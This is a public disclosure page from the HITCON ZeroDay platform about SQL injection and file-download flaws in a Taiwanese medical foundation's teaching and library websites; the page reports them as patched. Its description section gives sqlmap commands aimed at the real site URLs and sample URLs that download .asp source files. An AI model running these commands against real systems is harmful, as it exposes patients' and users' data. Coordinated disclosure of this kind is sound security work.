Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2024-01562
- Vendor: 仁愛醫療財團法人
- Title: 仁愛醫療財團法人 教學部SQLi 圖書館SQLi與檔案下載漏洞
- Introduction: SQL注入、檔案下載漏洞
處理狀態
目前狀態
公開
Last Update : 2025/01/23
-
新提交
-
已審核
-
已通報
-
已修補
-
已複測
-
公開
處理歷程
- 2024/12/17 19:20:48 : 新提交 (由 萌新 更新此狀態)
- 2024/12/19 16:07:14 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/12/27 14:30:55 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/12/27 14:30:55 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/01/17 10:51:22 : 複測申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/01/17 11:29:06 : 複測申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/01/19 18:19:18 : 確認已修補 (由 萌新 更新此狀態)
- 2025/01/23 03:00:10 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2024-01562
- 通報者:nhd1261 (萌新)
- 風險:高
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://site.jah.org.tw/jah_library/1_about/4_buy/download.asp?file=
https://education.jah.org.tw/1_news/2_activity/contents.asp?ID=5383&F=true
https://site.jah.org.tw/jah_library/3_bookmanage/download.asp?id=65
https://education.jah.org.tw/1_news/2_activity/contents.asp?ID=5383&F=true
https://site.jah.org.tw/jah_library/3_bookmanage/download.asp?id=65
敘述
Payload:
教學部:
python sqlmap.py "https://education.jah.org.tw/1_news/2_activity/contents.asp?ID=5383&F=true" --thread 10 --random-agent --batch --dbs
圖書館:
python sqlmap.py "https://site.jah.org.tw/jah_library/3_bookmanage/download.asp?id=65" --thread 10 --random-agent --batch --tables
download.asp直接使用輸入參數拼接路徑,雖然限制了file參數會過濾掉斜線與反斜線,所以無法路徑遍歷,但還是能下載同目錄下其他asp檔案。
https://site.jah.org.tw/jah_library/1_about/4_buy/download.asp?file=download.asp
https://site.jah.org.tw/jah_library/1_about/4_buy/download.asp?file=a.asp
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。